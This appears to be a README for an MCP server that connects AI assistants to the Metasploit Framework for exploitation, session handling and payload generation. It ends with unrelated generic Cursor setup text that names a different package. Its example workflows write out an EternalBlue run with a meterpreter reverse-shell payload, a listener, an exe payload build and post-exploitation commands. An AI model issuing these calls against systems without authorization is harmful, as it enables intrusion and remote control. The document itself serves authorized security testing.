Metasploit Framework MCP server

This MCP server provides a bridge between large language models and the Metasploit Framework, allowing AI assistants to interact with Metasploit functionality through natural language commands. It enables features like listing exploits/payloads, running modules, managing sessions, and generating payloads.

Prerequisites

• Metasploit Framework installed with msfrpcd running
• Python 3.10 or higher
• Required Python packages

Installation

1. Clone the repository
2. Install dependencies:

   pip install -r requirements.txt
   

3. Configure environment variables (optional):

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

Usage

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transport Options

The server supports two transport methods:

• HTTP/SSE (Server-Sent Events): Default mode for most MCP clients
• STDIO (Standard Input/Output): Used with Claude Desktop and similar direct connections

Select the transport mode using the --transport flag:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Additional options for HTTP mode:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

For Claude Desktop integration, configure claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Other MCP Clients

For other MCP clients using HTTP/SSE:

1. Start the server in HTTP mode:

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. Configure your MCP client to connect to:

   • SSE endpoint: http://your-server-ip:8085/sse

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities. Use responsibly and only in environments where you have explicit permission to perform security testing.

• Always validate and review all commands before execution
• Only run in segregated test environments or with proper authorization
• Be aware that post-exploitation commands can result in significant system modifications

Example Workflows

Basic Exploitation

1. List available exploits: list_exploits("ms17_010")
2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. List sessions: list_active_sessions()
4. Run commands: send_session_command(1, "whoami")

Post-Exploitation

1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)
2. Send custom commands: send_session_command(1, "sysinfo")
3. Terminate when done: terminate_session(1)

Handler Management

1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. List active handlers: list_listeners()
3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. Stop a handler: stop_job(1)

Configuration Options

Payload Save Directory

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder. You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

• Windows (PowerShell):

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (Command Prompt):

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS:

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• In Claude Desktop config:

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"
  }
  

Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.

How to add this MCP server to Cursor

There are two ways to add an MCP server to Cursor. The most common way is to add the server globally in the ~/.cursor/mcp.json file so that it is available in all of your projects.

If you only need the server in a single project, you can add it to the project instead by creating or adding it to the .cursor/mcp.json file.

Adding an MCP server to Cursor globally

To add a global MCP server go to Cursor Settings > MCP and click "Add new global MCP server".

When you click that button the ~/.cursor/mcp.json file will be opened and you can add your server like this:

{
    "mcpServers": {
        "cursor-rules-mcp": {
            "command": "npx",
            "args": [
                "-y",
                "cursor-rules-mcp"
            ]
        }
    }
}

Adding an MCP server to a project

To add an MCP server to a project you can create a new .cursor/mcp.json file or add it to the existing one. This will look exactly the same as the global MCP server example above.

How to use the MCP server

Once the server is installed, you might need to head back to Settings > MCP and click the refresh button.

The Cursor agent will then be able to see the available tools the added MCP server has available and will call them when it needs to.

You can also explictly ask the agent to use the tool by mentioning the tool name and describing what the function does.